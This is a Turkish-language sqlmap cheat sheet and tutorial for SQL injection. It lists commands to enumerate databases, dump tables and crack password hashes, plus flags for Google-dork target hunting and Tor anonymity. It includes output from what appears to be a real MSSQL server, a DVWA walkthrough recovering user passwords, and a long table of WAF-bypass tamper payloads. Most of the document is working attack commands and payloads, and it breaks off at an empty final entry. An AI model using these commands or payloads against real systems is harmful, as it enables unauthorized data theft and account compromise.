

# SQL INJECTION

## Sqlmap Komutlar

sqlmap -u "www.site.com/dosya.php?id=1" --all : Bir çok veriyi çekme işlemi görmektedir.

sqlmap -u "www.site.com/dosya.php?id=1" --current-user : Kullanıcı bilgilerini görebiliriz.

sqlmap -u "www.site.com/dosya.php?id=1" --current-db : Veritabanının ismi çekilmektedir.

sqlmap -u "www.site.com/dosya.php?id=1" --time-sec= :20 Veritabanı sisteminin cevap verme süresidir.Genelde 5 saniye olarak belirlenmiştir.

sqlmap -u "www.site.com/dosya.php?id=1" --text-only : Sadece metin içeriğine göre sayfaları karşılaştırır.CSS ve Javascript dışarda bırakılır.

sqlmap -u "www.site.com/dosya.php?id=1" --prefix : Test ederken payload önüne eklenecek kötü karakterleri belirtebiliriz. --prefix \*-+/- aynı işlemi --suffix ilede yapabiliriz.

sqlmap -u "www.site.com/dosya.php?id=1" --dbms="MySQL" --os="Linux" : İşlemleri dahada kolaylaştırmak için eğer işletim sistemini biliyorsak bu parametrede " işareti içinde belirtebiliriz.

sqlmap -u "www.site.com/dosya.php?id=1" --no-escape : Kaçışları yok sayar

sqlmap -u "www.site.com/dosya.php?id=1" --no-cast : Kısa payload taraması yapar .

sqlmap -u "www.site.com/dosya.php?id=1" --union-from=Tablo Adı : Union Query için From'un isim değişikliğidir.Farklı taramalar yapılabilir.

sqlmap -u "www.site.com/dosya.php?id=1" --roles : Kullanıcı rollerini bize sunar

sqlmap -u "www.site.com/dosya.php?id=1" --dump-all : Sistemi indirir.Manuel olarak ayrı ayrı uğraşmak istiyorsak bu işlemi gerçekleştirebiliriz.

sqlmap -u "www.site.com/dosya.php?id=1" --invalid-logical : Boolean Denemelerini de ekleme işlemi. ( Page=23 AND 51 = 35 )

sqlmap -u "www.site.com/dosya.php?id=1" --invalid-string : Normal parametre değerlerini yok sayarken rasgele yaptığı eklemelerdir. ( id=jlkvske)

sqlmap -u "www.site.com/dosya.php?id=1" --skip : Verilen parametlerden tarama yapılması istenmeyen parametreleri belirtiriz.

sqlmap -u "www.site.com/dosya.php?id=1" --hpp : HTTP Parameter Pollution methodu ile tarama yapılır.

sqlmap -u "www.site.com/dosya.php?id=1" --skip-urlencode : Tarama yapılırken URL Encode işlemi devre dışı bırakılır.

sqlmap -u "www.site.com/dosya.php?id=1" --safe-url : Sistemlerde yer alan güvenlik faktörü ile bazı sayfalara etkileşim azaltılır.Oturum gibi sonlandırma işlemlerini engellemek amacıyla kullanılabilir.Belirli bir düzeyde tarama yapmaktadır. sqlmap -u "www.site.com/dosya.php?id=1" --safe-url="www.site.com"

sqlmap -u "www.site.com/dosya.php?id=1" --delay=5 : HTTP Request yapılırken bekleme süresi belirlenir.

sqlmap -u "www.site.com/dosya.php?id=1" --tor : Tor İnterneti kullanılarak yapılan tarama şeklidir.Gizlilik sağlar.

sqlmap -u "www.site.com/dosya.php?id=1" -x : XML Dosyası ile yapılan tarama

sqlmap -u "www.site.com/dosya.php?id=1" -m : -m zafiyetlisiteler.txt ile yapılan taramalar.Birden fazla website taraması

sqlmap -u "www.site.com/dosya.php?id=1" -g : Dork ile tarama yapılır ve önümüze gelen sitelerde açık arar.Seçenek sunar.

-g "intext:admin inurl:admin?id=2"

## Başlıklar

--headers = " User-Agent: Mozilla/5.0 (X11;Ubuntu; Linux i686; rv:25.0) Gecko/20200101 Firefox/25.0 "

--user-agent = " Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 "

--random-agent = " Sqlmap içerisinde rasgele gelir "

--referer = " www.xsite.com " Rasgele bağlantı

--cookie = " PHPSESSID=ash3298t3lkfdlk " gibi çerez verimiz

--host = " www.site.com "

```
[20:45:33] [INFO] retrieved: acuforum
[20:45:56] [INFO] retrieved: acuserice
[20:46:47] [INFO] retrieved: master
[20:46:55] [INFO] retrieved: model
[20:47:09] [INFO] retrieved: msdb
[20:47:35] [INFO] retrieved: tempdb
[20:47:59] [INFO] retrieved:
[20:48:03] [WARNING] in case of continuous data retrieval problems you are advised to try a
[20:48:03] [INFO] fetching tables for databases: acuforum, acuserice, master, model, msdb,
[20:48:03] [INFO] fetching number of tables for database 'tempdb'
[20:48:03] [INFO] retrieved: 0
[20:48:04] [INFO] fetching number of tables for database 'acuforum'
[20:48:04] [INFO] retrieved: 4
[20:48:04] [INFO] retrieved: dbo.forums
[20:48:51] [INFO] retrieved: dbo.posts
[20:49:13] [INFO] retrieved: dbo.threads
[20:49:55] [INFO] retrieved: dbo.users
[20:50:13] [INFO] fetching number of tables for database 'msdb'
[20:50:13] [INFO] retrieved: 21
[20:50:26] [INFO] retrieved: dbo.backupfile
[20:51:25] [INFO] retrieved: dbo.backupmediafamily
[20:52:27] [INFO] retrieved: dbo.backupmediaset
[20:53:03] [INFO] retrieved: dbo.backupset
[20:53:15] [INFO] retrieved: dbo.logma
[20:53:41] [WARNING] HTTP error codes detected during run:
500 (1) 1.6 500 (1) 206 (1)
```

--schema Kullanıcı sistem tablolarını sıralar

```
[20:56:21] [INFO] resumed: sa
[20:56:21] [INFO] resumed: sa
[20:56:21] [WARNING] running in a sir
[20:56:21] [INFO] retrieved: np/ad=1"
[20:56:21] [WARNING] in case of conti
database management system users [1]:
[*] sa
```

--users Sistemdeki kullanıcı adlarını sıralar

```
web application technology: ASP.NET, Microsoft IIS 8.5
back-end DBMS: Microsoft SQL Server 2014
[20:58:15] [INFO] testing if current user is DBA
current user is DBA: False
[20:58:15] [WARNING] HTTP error codes detected during
```

--is-dba Çekeceğimiz kullanıcının Database Admin olup olmadığı kontrol edilir.False değil,True evet demektir.

```
web application technology: ASP.NET, Microsoft IIS 8.5, ASP
back-end DBMS: Microsoft SQL Server 2014
[21:00:39] [INFO] fetching server hostname
[21:00:39] [WARNING] running in a single-thread mode. Please cor
[21:00:39] [INFO] retrieved:
[21:00:39] [WARNING] reflective value(s) found and filtering out
WIN-4F36OVNA5B1\SQL
hostname: 'WIN-4F36OVNA5B1\SQL'
[21:01:45] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 75 times
```

--Hostname , Ana Makine bilgisini bize sunar.Bu tarz işlemler gerçekleşirken bir döngü çerçevesinde tarayarak bulur.Biraz zaman alabilmektedir.

```

Microsoft SQL Server 2014 (SP3-GDR) (KB4583463) - 12.0.6164.21 (X64) Nov  1 2020 04:25:14 Copyright (c) Microsoft Corporation Express Edition (64-bit) on Windows NT 6.3 <X64> (Build 9600: ) (Hypervisor)
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET, Microsoft IIS 8.5, ASP
back-end DBMS operating system: Windows 8.1 or 2012 R2
back-end DBMS: Microsoft SQL Server 2014
banner:
---
Microsoft SQL Server 2014 (SP3-GDR) (KB4583463) - 12.0.6164.21 (X64)
Nov  1 2020 04:25:14
Copyright (c) Microsoft Corporation
Express Edition (64-bit) on Windows NT 6.3 <X64> (Build 9600: ) (Hypervisor)
---
[21:15:58] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 684 times

```

-b , İşletim sistemi ,veritabanı sürümü ,tarihi, makine bilgisi gibi veriler elde edilebilir.

```

[22:03:15] [INFO] retrieved:
[22:03:16] [WARNING] reflective value(s) found and filtering out
0
[22:03:17] [WARNING] no table 'users' in database 'tempdb'
[22:03:17] [INFO] fetching number of table 'users' in database 'acuforum'
[22:03:17] [INFO] retrieved: 1
[22:03:18] [INFO] retrieved: users
[22:03:36] [INFO] fetching number of table 'users' in database 'msdb'
[22:03:36] [INFO] retrieved: 0
[22:03:40] [WARNING] no table 'users' in database 'msdb'
[22:03:40] [INFO] fetching number of table 'users' in database 'master'
[22:03:40] [INFO] retrieved: 0
[22:03:41] [WARNING] no table 'users' in database 'master'
[22:03:41] [INFO] fetching number of table 'users' in database 'model'
[22:03:41] [INFO] retrieved:
[22:03:41] [WARNING] no table 'users' in database 'model' bulunmaktadır.
[22:03:41] [INFO] fetching number of table 'users' in database 'acuservice'
[22:03:41] [INFO] retrieved: 1
[22:03:42] [INFO] retrieved: users
Database: acuforum
[1 table]
+-----+
| users |
+-----+

Database: acuservice
[1 table]
+-----+
| users |
+-----+

```

--search -T users : Tablolarda users taraması yapılmıştır.Görüldüğü üzere ise tablolarda yer alan users adı geçen sütunlar belirmiştir. ( --search -T users )

```
[22:08:44] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET, Microsoft IIS 8.5, ASP
back-end DBMS: Microsoft SQL Server 2014
[22:08:44] [WARNING] on Microsoft SQL Server it is not possible to fetch database users privileges,
atabase users are database administrators
[22:08:44] [INFO] fetching database users
[22:08:44] [INFO] fetching number of database users
[22:08:44] [INFO] resumed: 2 p/rd=1" --is-dba
[22:08:44] [INFO] resumed: sa
[22:08:44] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' f
[22:08:44] [INFO] retrieved:
[22:08:44] [WARNING] in case of continuous data retrieval problems you are advised to try a switch
[22:08:44] [INFO] testing if current user is DBA
database management system users privileges:
[*] sa (administrator)
ords: Eger geçerli userin, sistem tablolarını okuma izni var ise, şifreleri hash olarak çekmemize yardımcı
[22:08:44] [WARNING] HTTP error codes detected during run:
```

--privileges, Sistemdeki kullanıcılar ve yetkileri

## Proxy Tanımlaması

--proxy="http://127.0.0.1:8080 " = Proxy Tanımlanır

--proxy=" http://127.0.0.1:8080 " --proxy-cred="admin:123" = Kullanıcı ve Şifre ile tanımlama

## Temel SQLmap Sızıntısı

Sqlmap -u “site.com” –dbs ile normal bir tarama gerçekleştirilir.

Sqlmap -u “site.com” –cookie=”PHPSESSID= .... ; security;low” –dbs

ile veriler çekilir.

➔ Cookie

```
OW_SCHEMA.PLUGINS GROUP BY x/a/-- --ifK6Ssubmit=submit
[18:03:09] [INFO] the back-end DBMS is MySQL
[18:03:09] [INFO] back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[18:03:09] [INFO] fetching database names
[18:03:09] [WARNING] reflective value(s) found and filtering out
available databases [2]:
[*] dvwa
[*] information_schema
[18:03:09] [INFO] fetched data logged to text files under '/home/ergenekon/.local/share/sqlmap/output/127.0.0.1'
[*] ending @ 18:03:09 /2021-02-27/
```

Çekilen veriler ise görüldüğü üzere “dvwa” ve “information\_schema” olarak görülüyor.

-D dvwa –tables >> dvwa veritabanının tablolarını görüntüleriz.

```

Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=1' OR NOT 4809=4809#Submit-Submit

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND (SELECT 1218 FROM(SELECT COUNT(*),CONCAT(0x71706b7171,(SELECT (ELT(1218-1218,1))))0x7170
ON_SCHEMA.PLUGINS GROUP BY x)a)-- TrFk6Submit-Submit

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 4689 FROM (SELECT(SLEEP(5)))ebKn)-- yRUw6Submit-Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x71706b7171,0x78647161675a6e63594b7364665a5a4e43775046794d584a
b6b71)#6Submit-Submit
---
[18:36:40] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[18:36:40] [INFO] fetching tables for database: 'dvwa'
Database: dvwa
[2 tables]
+-----+
| guestbook |
| users     |
+-----+

[18:36:41] [INFO] fetched data logged to text files under '/home/ergenekon/.local/share/sqlmap/output/127.0.0.1'
[*] ending @ 18:36:41 /2021-02-27/

```

“Guestbook” ve “Users” tablolarımızın olduğu anlaşılmıştır.

-D dvwa ( dvwa veritabanının ) -T users (users tablosunun) -columns ( sütunları )

```

---
[18:37:00] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[18:37:00] [INFO] fetching columns for table 'users' in database 'dvwa'
Database: dvwa
Table: users
[8 columns]
+-----+-----+
| Column | Type |
+-----+-----+
| user   | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id  | int(6) |
+-----+-----+

[18:37:00] [INFO] fetched data logged to text files under '/home/ergenekon/.local/share/sqlmap/output/127.0.0.1'
[*] ending @ 18:37:00 /2021-02-27/

```

Sütunlar görülüğü üzere user,avatar,failed\_login ... gibi bölümleri ile karşımıza gelmektedir.



Bunların indirmek için ise –Dump yani bu komutu kullanarak elde edebiliriz.

```
[18:42:27] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[18:42:32] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[18:42:34] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[18:42:34] [WARNING] multiprocessing hash cracking is currently not supported on this platform
[18:42:47] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[18:42:55] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[18:42:59] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
Database: dvwa
Table: users
[5 entries]
```

user	password
admin	5f4dcc3b5aa765d61d8327deb882cf99 (password)
gordonb	e99a18c428cb38d5f260853678922e03 (abc123)
1337	8d3533d75ae2c3966d7e0d4fcc69216b (charley)
pablo	0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)
smithy	5f4dcc3b5aa765d61d8327deb882cf99 (password)

MD5 Şifrelemesi Brute ile SQLmap aracı sayesinde kırılmıştır.  
Wordlist ile de kırılabilir.

Sqlmap -u "site.com/id=1" --cookie="PHPSESSID= ..... ; security=low"

-D dvwa -T users -C user,password --dump

Dvwa > Veritabanını > Users Tablosunun > User ve Password Sütunlarını > Çek

## SQLMap Post İsteği ve Data Kullanımı

```
sqlmap -u http://127.0.0.1/sqlmap/check_login.php --data="username=admin&password=admin&submit=1" -D sqltest --tables
```

Bir Proxy aracı ile örneğin Burp Suite ile bu Request verileri yakalanarak tespit edilebilir. "test.php" dosyasına yapılan istek kaydedilerek veriler test edilebilir.

`-p "loginname" --dbms="MySQL"` → P = Parametre DBMS = Mysql ( Database Managring System – Veritabanı Yönetim Sistemi )  
Böyle taramada yapılabilir. ;

```
sqlmap -u "site.com.login.php" --data "password=test&username=test" -p "username" --dbms=mysql
```

## Method Kullanımı

Username Parametresi kullanılarak Mysql sisteminde tarama yapmayı hedeflemektedir.

```
sqlmap -u http://thehost/include/login.php --method POST --data="password=letmein&username=1%c0%00xa7%c0%a2" -p "username" --dbms=mysql
```

Bu seçenekte ise POST methodu kullanılarak yapıldığı belirtilmektedir. Aslında üstündeki kısımda aynı işlevi yapmaktadır. **Get veya Post** olarak değiştirilebilir.

```
[PAYLOAD] 1%c0%00xa7%c0%a2)).('(',')'  
[TRAFFIC OUT] HTTP request [#3]:  
POST /include/login.php HTTP/1.1  
Host: thehost  
Content-type: application/x-www-form-urlencoded;  
charset=utf-8  
Accept: */*  
Content-length: 70  
Connection: close
```

Username parametresine girilen payloada yönelik tarama gerçekleştirilmektedir.

## SQL Injection WAF Atlatma

Tamper kullanımı ile SQLmap'te belirtilen Python uygulamaları ile yapılmaktadır.Ayrıca farklı türde Waf Bypass<sup>1</sup> yöntemleride yapılabilir.Geleneksel olarak Sqlmap Waf Bypass için araçlar bulunmaktadır.Ekstra Bypass işlemleri için ise kaynak araştırması yapılabilir.

<a href="#">apostrophemask.py</a>	Kesme işareti karakterini UTF-8 tam genişlikteki karşılığı ile değiştirir.
<a href="#">apostrophencode.py</a>	Her anahtar kelime karakterini rastgele büyük / küçük harf değeriyle değiştirir.
<a href="#">appendnullbyte.py</a>	Yükün sonuna kodlanmış NULL bayt karakteri ekler.
<a href="#">base64encode.py</a>	Base64, belirli bir yükteki tüm karakterler.
<a href="#">between.py</a>	Büyüktür operatörünü ('>') 'DEĞİL O VE # ARASINDA' ile değiştirir.
<a href="#">bluecoat.py</a>	SQL ifadesinden sonraki boşluk karakterini geçerli bir rastgele boş karakterle değiştirir.Sonra karakter = yerine LIKE operatörü koyar.
<a href="#">chardoubleencode.py</a>	Çift url-belirli bir yükteki tüm karakterleri kodlar (zaten kodlanmış olarak işlenmez)
<a href="#">commalesslimit.py</a>	'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir.
<a href="#">commalessmid.py</a>	'MID (A, B, C)' gibi örnekleri 'MID (C İÇİN B'DEN A)' ile değiştirir.
<a href="#">concat2concatws.py</a>	'CONCAT (A, B)' gibi örnekleri 'CONCAT_WS (MID (CHAR (0), 0, 0), A, B)' ile değiştirir.
<a href="#">charencode.py</a>	Url-belirli bir yükteki tüm karakterleri kodlar (zaten kodlanmış olarak işlenmez)
<a href="#">charunicodeencode.py</a>	Unicode-url-belirli bir yükteki kodlanmamış karakterleri kodlar (zaten kodlanmış olarak işlenmez)
<a href="#">equaltolike.py</a>	Eşit ('=') operatörünün tüm oluşumlarını 'LIKE' operatörüyle değiştirir.
<a href="#">escapequotes.py</a>	Eğik çizgi kaçış tırnak işaretleri ( ' ve " )
<a href="#">greatates.py</a>	Operatörden büyük ('>') yerine 'GREATEST' karşılığı ile değiştirir.
<a href="#">halfversionedmorekeywords.py</a>	Her anahtar kelimedenden önce sürümü belirlenmiş MySQL yorumu ekler.
<a href="#">ifnull2ifisnull.py</a>	'IFNULL (A, B)' gibi örnekleri 'IF (ISNULL (A), B, A)' ile değiştirir.
<a href="#">modsecurityversioned.py</a>	Sürümü belirlenmiş açıklamayla eksiksiz sorguyu kucaklar.
<a href="#">modsecurityzeroversioned.py</a>	Sıfır sürümlü açıklamayla eksiksiz sorguyu kucaklar.
<a href="#">multiplespaces.py</a>	SQL anahtar sözcüklerinin etrafına birden çok boşluk ekler.

<sup>1</sup> <https://github.com/m4ll0k/Atlas>

<b>nonrecursivereplacement.py</b>	Önceden tanımlanmış SQL anahtar kelimelerini değiştirmeye uygun temsillerle değiştirir.(örneğin .replace ("SELECT", "")) filtreleri
<b>percentage.py</b>	Her karakterin önüne bir yüzde işareti ('%') ekler.
<b>overlongutf8.py</b>	Belirli bir yükteki tüm karakterleri dönüştürür (zaten kodlanmış işlem yapmaz)
<b>randomcase.py</b>	Her anahtar kelime karakterini rastgele büyük / küçük harf değeriyle değiştirir.
<b>randomcomments.py</b>	SQL anahtar kelimelerine rastgele yorumlar ekleyin.
<b>securesphere.py</b>	Özel hazırlanmış dizeyi ekler.
<b>sp_password.py</b>	DBMS günlüklerinden otomatik gizleme için yükün sonuna 'sp_password' ekler.
<b>space2comment.py</b>	Boşluk karakterini (") yorumlarla değiştirir.
<b>space2dash.py</b>	Boşluk karakterini (") bir tire açıklaması ('-') ve ardından rastgele bir dize ve yeni bir satır ('\ n') ile değiştirir.
<b>space2hash.py</b>	Boşluk karakterini (") bir pound karakteriyle ('#') ve ardından rastgele bir dize ve yeni bir satır ('\ n') değiştirir.
<b>space2morehash.py</b>	Boşluk karakterini (") bir pound karakteriyle ('#') ve ardından rastgele bir dize ve yeni bir satır ('\ n') değiştirir.
<b>space2mssqlblank.py</b>	Boşluk karakterini (") geçerli bir alternatif karakter kümesinden rastgele bir boş karakterle değiştirir.
<b>space2mssqlhash.py</b>	Boşluk karakterini (") bir pound karakteriyle ('#') ve ardından yeni bir satır ('\ n') değiştirir.
<b>space2mysqlblank.py</b>	Boşluk karakterini (") geçerli bir alternatif karakter kümesinden rastgele bir boş karakterle değiştirir.
<b>space2mysqldash.py</b>	Boşluk karakterini (") bir kısa çizgi açıklaması ('-') ve ardından yeni bir satır ('\ n') ile değiştirir.
<b>space2plus.py</b>	Boşluk karakterini (") artı ('+') ile değiştirir.
<b>space2randomblank.py</b>	Boşluk karakterini (") geçerli bir alternatif karakter kümesinden rastgele bir boş karakterle değiştirir.
<b>symboliclogical.py</b>	AND ve OR mantıksal operatörleri sembolik karşılıklarıyla değiştirir (&& AND )
<b>unionalltounion.py</b>	UNION ALL SELECT'i UNION SELECT ile değiştirir.
<b>unmagicquotes.py</b>	Tırnak karakterini (') çok baytlı birleşik bir% bf% 27 ile ve sonunda genel bir yorumla değiştirir (çalışmasını sağlamak için)
<b>uppercase.py</b>	Her anahtar kelime karakterini büyük harfli 'INSERT' ile değiştirir.
<b>varnish.py</b>	'X-originating-IP' HTTP üstbilgisini ekleyin.
<b>versionedkeywords.py</b>	İşlevsiz her bir anahtar kelimeyi sürümlü MySQL açıklamasına ekler.
<b>versionedmorekeywords.py</b>	Her bir anahtar kelimeyi sürümlü MySQL açıklamasına ekler.
<b>xforwardedfor.py</b>	Sahte bir HTTP başlığı ekleyin 'X-Forwarded-For'

sqlmap -u "http://site.com/index.php?id=1" --tamper="xforwardedfor" .py dışarıda bırakılır isim yazılarak tarama gerçekleştirilir.

Tamper araçlarının kullanıldığı sistemlere göre sıralaması ;

<a href="#">apostrophemask.py</a>	Hepsi
<a href="#">apostrophenullencode.py</a>	MySQL 4, 5.0 ve 5.5 Oracle 10g PostgreSQL 8.3, 8.4, 9.0
<a href="#">appendnullbyte.py</a>	Microsoft Access
<a href="#">base64encode.py</a>	Hepsi
<a href="#">between.py</a>	Microsoft SQL Server 2005, MySQL 4, 5.0 and 5.5 , Oracle 10g , PostgreSQL 8.3, 8.4,9.
<a href="#">bluecoat.py</a>	MySQL 5.1 , SGOS
<a href="#">chardoubleencode.py</a>	Hepsi
<a href="#">commalesslimit.py</a>	Hepsi
<a href="#">commalessmid.py</a>	Hepsi
<a href="#">concat2concatws.py</a>	Hepsi
<a href="#">charencode.py</a>	Hepsi
<a href="#">charunicodeencode.py</a>	ASP ve ASP.NET ,Microsoft SQL Server 2000 ,Microsoft SQL Server 2005 ,MySQL 5.1.56 ,PostgreSQL 9.0.3
<a href="#">equaltolike.py</a>	Hepsi
<a href="#">escapequotes.py</a>	Hepsi
<a href="#">greatest.py</a>	MySQL 4, 5.0 ve 5.5 , Oracle 10g , PostgreSQL 8.3, 8.4, 9.0
<a href="#">halfversionedmorekeywords.py</a>	MySQL < 5.1
<a href="#">ifnull2ifisnull.py</a>	MySQL, SQLite ,SAP ,MaxDB
<a href="#">modsecurityversioned.py</a>	MySQL
<a href="#">modsecurityzeroversioned.py</a>	Hepsi
<a href="#">multiplespaces.py</a>	Hepsi
<a href="#">nonrecursivereplacement.py</a>	Hepsi
<a href="#">percentage.py</a>	Hepsi
<a href="#">overlongutf8.py</a>	Hepsi
<a href="#">randomcase.py</a>	Hepsi
<a href="#">randomcomments.py</a>	Hepsi
<a href="#">securesphere.py</a>	Hepsi
<a href="#">sp_password.py</a>	MSSQL
<a href="#">space2comment.py</a>	Microsoft SQL Server 2005 , MySQL 4, 5.0 ve 5.5 Oracle 10g , PostgreSQL 8.3, 8.4, 9.0
<a href="#">space2dash.py</a>	MSSQL , SQLite
<a href="#">space2hash.py</a>	MySQL 4.0, 5.0

space2morehash.py	MySQL >= 5.1.13
space2mssqlblank.py	Microsoft SQL Server 2000 , Microsoft SQL Server 2005
space2mssqlhash.py	MSSQL , MySQL
space2mysqlblank.py	MySQL
space2mysqldash.py	MySQL,MSSQL
space2plus.py	Hepsi
space2randomblank.py	Hepsi
symboliclogical.py	Hepsi
unionalltounion.py	Hepsi
unmagicquotes.py	Hepsi
uppercase.py	Hepsi
varnish.py	Hepsi
versionedkeywords.py	Hepsi
versionedmorekeywords.py	MySQL >= 5.1.13
xforwardedfor.py	Hepsi

[11:31:11] [INFO] testing for SQL injection on GET parameter 'id'

[11:31:11] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'

[11:31:11] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request

[11:31:11] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request

Görüldüğü üzere “ **Union** ” adı geçtiğinde bir engelleme işlemi görülmektedir.Buna uygun olarak bir Bypass kullanılarak aşılabılır.Encode edilerek farklı bir biçime dönüştürülerek WAF atlatılabilir.

- [apostrophemask.py \(UTF-8\)](#)

Payload: AND '1'='1'

Bypass Payload: AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87

- [apostrophenullencode.py \(unicode\)](#)

Payload: AND '1'='1'

Bypass Payload: AND %271%27=%271%27

- [appendnullbyte.py \(\)](#)

Payload: AND 1=1

Bypass Payload: AND 1=1

- [base64encode.py \(base64\)](#)

Payload: 1' AND SLEEP(5)#

Bypass Payload: MScgQU5EIFNMRUVQKDUplw==

- [between.py \("not between" ">"\)](#)

Payload: 'A > B'

Bypass Payload: 'A NOT BETWEEN 0 AND B'

- [bluecoat.py \("like" "="\)](#)

Payload: SELECT id FROM users where id = 1

Bypass Payload: SELECT%09id FROM users where id LIKE 1

- [chardoubleencode.py](#)

Payload: SELECT FIELD FROM%20TABLE

Bypass Payload:

%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

- [charencode.py](#)

Payload: SELECT FIELD FROM%20TABLE

Bypass Payload: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

- [charunicodeencode.py](#)

Payload: SELECT FIELD%20FROM TABLE

Bypass Payload:

%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'

- [equaltolike.py](#) ("like" "=")

Payload: SELECT \* FROM users WHERE id=1

Bypass Payload: SELECT \* FROM users WHERE id LIKE 1

- [halfversionedmorekeywords.py](#)

Payload: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT\_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa

Bypass Payload:

value'/\*!0UNION/\*!0ALL/\*!0SELECT/\*!0CONCAT/\*!0CHAR(58,107,112,113,58),/\*!0IFNULL(CAST/\*!0CURRENT\_USER()/\*!0AS/\*!0CHAR),/\*!0CHAR(32)),/\*!0CHAR(58,97,110,121,58)), NULL, NULL#/\*!0AND 'QDWa'='QDWa

- [ifnull2ifisnull.py](#) ("IF(ISNULL(A), B, A)" "IFNULL(A, B)")

Payload: IFNULL(1, 2)

Bypass Payload: IF(ISNULL(1), 2, 1)

- [modsecurityversioned.py](#)

Payload: 1 AND 2>1--

Bypass Payload: 1 /\*!30000AND 2>1\*/--

- [modsecurityzeroversioned.py](#) ("0000")

Payload: 1 AND 2>1--

Bypass Payload: 1 /\*!00000AND 2>1\*/--

- [multiplespaces.py](#)

Payload: UNION SELECT

Bypass Payload: UNION SELECT



- [nonrecursivereplacement.py](#)

Payload: 1 UNION SELECT 2--

Bypass Payload: 1 UNUNIONION SELSELECTECT 2--

- [percentage.py \("%"\)](#)

Payload: SELECT FIELD FROM TABLE

Bypass Payload: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

- [randomcase.py](#)

Payload: INSERT

Bypass Payload: InsERt

- [randomcomments.py](#)

'INSERT' becomes 'IN/\*\*/S/\*\*/ERT'

- [securisphere.py](#)

Payload: AND 1=1

Bypass Payload: AND 1=1 and '0having'='0having'

- [sp\\_password.py \("sp\\_password"\)](#)

Payload: 1 AND 9227=9227--

Bypass Payload: 1 AND 9227=9227--sp\_password

- [space2comment.py](#)

Payload: SELECT id FROM users

Bypass Payload: SELECT/\*\*/id/\*\*/FROM/\*\*/users

- [space2dash.py \("--"\)](#)

Payload: 1 AND 9227=9227

Bypass Payload: 1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227

- [space2hash.py](#)

Payload: 1 AND 9227=9227

Bypass Payload: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

- [space2mssqlblank.py](#)

Payload: SELECT id FROM users

Bypass Payload: SELECT%08id%02FROM%0Fusers

- [space2mssqlhash.py](#)

Payload: 1 AND 9227=9227

Bypass Payload: 1%23%0A9227=9227

- [space2mysqlblank.py](#)

Payload: SELECT id FROM users

Bypass Payload: SELECT%0Bid%0BFROM%A0users

- [space2mysqldash.py](#)

Payload: 1 AND 9227=9227

Bypass Payload: 1--%0AAND--%0A9227=9227

- [space2plus.py \("+"\)](#)

Payload: SELECT id FROM users

Bypass Payload: SELECT+id+FROM+users

- [space2randomblank.py](#)

Payload: SELECT id FROM users

Bypass Payload: SELECTridtFROMnusers

- [unionalltounion.py \("union all" "union"\)](#)

Payload: -1 UNION ALL SELECT

Bypass Payload: -1 UNION SELECT

- `unmagicquotes.py ("%bf%27" "--")`

Payload: 1' AND 1=1

Bypass Payload: 1%bf%27 AND 1=1--%20

- `versionedkeywords.py`

Payload: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT\_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#

Bypass Payload:

1/\*!UNION\*//\*!ALL\*//\*!SELECT\*//\*!NULL\*//\*!NULL\*//CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT\_USER()/\*!AS\*//\*!CHAR\*/),CHAR(32)),CHAR(58,100,114,117,58))#

- `versionedmorekeywords.py`

Payload: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT\_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

Bypass Payload:

